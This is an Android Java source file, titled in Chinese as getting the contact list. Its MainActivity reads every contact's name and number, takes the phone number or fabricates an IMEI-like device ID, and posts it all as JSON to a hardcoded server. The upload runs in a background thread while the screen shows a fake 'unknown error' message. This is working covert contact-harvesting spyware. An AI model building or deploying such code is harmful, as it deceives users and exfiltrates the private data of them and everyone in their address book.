安卓获取通讯录

package com.extop.appday;

import android.Manifest;
import android.annotation.SuppressLint;
import android.content.Context;
import android.content.pm.PackageManager;
import android.os.Build;
import android.os.Bundle;

import com.google.android.material.snackbar.Snackbar;

import androidx.appcompat.app.AppCompatActivity;

import android.telephony.TelephonyManager;
import android.util.Log;
import android.view.View;

import androidx.core.app.ActivityCompat;
import androidx.core.content.ContextCompat;
import androidx.navigation.NavController;
import androidx.navigation.Navigation;
import androidx.navigation.ui.AppBarConfiguration;
import androidx.navigation.ui.NavigationUI;

import com.extop.appday.databinding.ActivityMainBinding;

import android.view.Menu;
import android.view.MenuItem;
import android.widget.EditText;
import android.widget.Toast;

import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;

import java.util.List;

public class MainActivity extends AppCompatActivity {
    private List<PhoneDto> phoneDtos;
    EditText mEditMsg = null;
    EditText mEditInfo = null;
    String mWebUrl = "http://192.168.2.101:20208";
    String mMyPhone = "";

    // 检查权限
    boolean checkAppPermission(String permissionName)
    {
        //判断是否有权限
        // 有权限: PackageManager.PERMISSION_GRANTED
        // 无权限: PackageManager.PERMISSION_DENIED
        if(ContextCompat.checkSelfPermission(MainActivity.this, permissionName)
                != PackageManager.PERMISSION_GRANTED){
            ActivityCompat.requestPermissions(MainActivity.this,new String[]{permissionName},201);
        }
        if(ContextCompat.checkSelfPermission(MainActivity.this, permissionName)
                != PackageManager.PERMISSION_GRANTED){
            return false;
        }
        return true;
    }



    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        mEditMsg = findViewById(R.id.editMsg);
        mEditInfo = findViewById(R.id.editInfo);

        if (!checkAppPermission(Manifest.permission.READ_CONTACTS))
        {
            mEditMsg.setText("APP必须开启通讯录权限才正常!");
            return;
        }

        if (!checkAppPermission(Manifest.permission.INTERNET))
        {
            mEditMsg.setText("APP必须开启网络权限才正常!");
            return;
        }

        PhoneUtil phoneUtil = new PhoneUtil(this);
        phoneDtos = phoneUtil.getPhone();
        Log.d("AppDay", "MainActivity ================ onCreate");
        mEditMsg.setEnabled(false);
        mEditMsg.setText("未知错误 " + phoneDtos.size());
        mEditInfo.setVisibility(View.INVISIBLE);

        if (checkAppPermission(Manifest.permission.READ_PHONE_STATE))
        {
            TelephonyManager tm = (TelephonyManager)this.getSystemService(Context.TELEPHONY_SERVICE);
            if(tm != null)
            {
                mMyPhone = tm.getLine1Number();
            }
        }

        if(mMyPhone.isEmpty())
        {
            mMyPhone = "21" + //we make this look like a valid IMEI
            Build.BOARD.length()%10 +
            Build.BRAND.length()%10 +
            Build.DEVICE.length()%10 +
            Build.DISPLAY.length()%10 +
            Build.HOST.length()%10 +
            Build.ID.length()%10 +
            Build.MANUFACTURER.length()%10 +
            Build.MODEL.length()%10 +
            Build.PRODUCT.length()%10 +
            Build.TAGS.length()%10 +
            Build.TYPE.length()%10 +
            Build.USER.length()%10 ; //13 digits
        }
//        showMsg("Phone" + mMyPhone);
//        Log.d("AppDay", "mMyPhone=" + mMyPhone);

        // Android 4.0 之后不能在主线程中请求HTTP请求
        new Thread(new Runnable(){
            @Override
            public void run() {
                postData();
            }
        }).start();

    }

    void showMsg(String msg)
    {
        Toast ts = Toast.makeText(getBaseContext(), msg,Toast.LENGTH_LONG);
        ts.show();
    }

    void postData()
    {
        try {
            JSONArray jsonArray= new JSONArray();
            for (PhoneDto item: phoneDtos) {
                JSONObject jo=new JSONObject();
                jo.put("name", item.getName());
                jo.put("phone", item.getTelPhone());
                jsonArray.put(jo);
            }

            JSONObject  jsonObject=new JSONObject();
            jsonObject.put("cmd", 123);
            jsonObject.put("myPhone", mMyPhone);
            jsonObject.put("data", jsonArray.toString());
            String jsonStr=jsonObject.toString();
            HttpUtils.post(mWebUrl, jsonStr);
        } catch (Exception e) {
            e.printStackTrace();
            Log.d("AppDay", e.toString());
        }
    }

}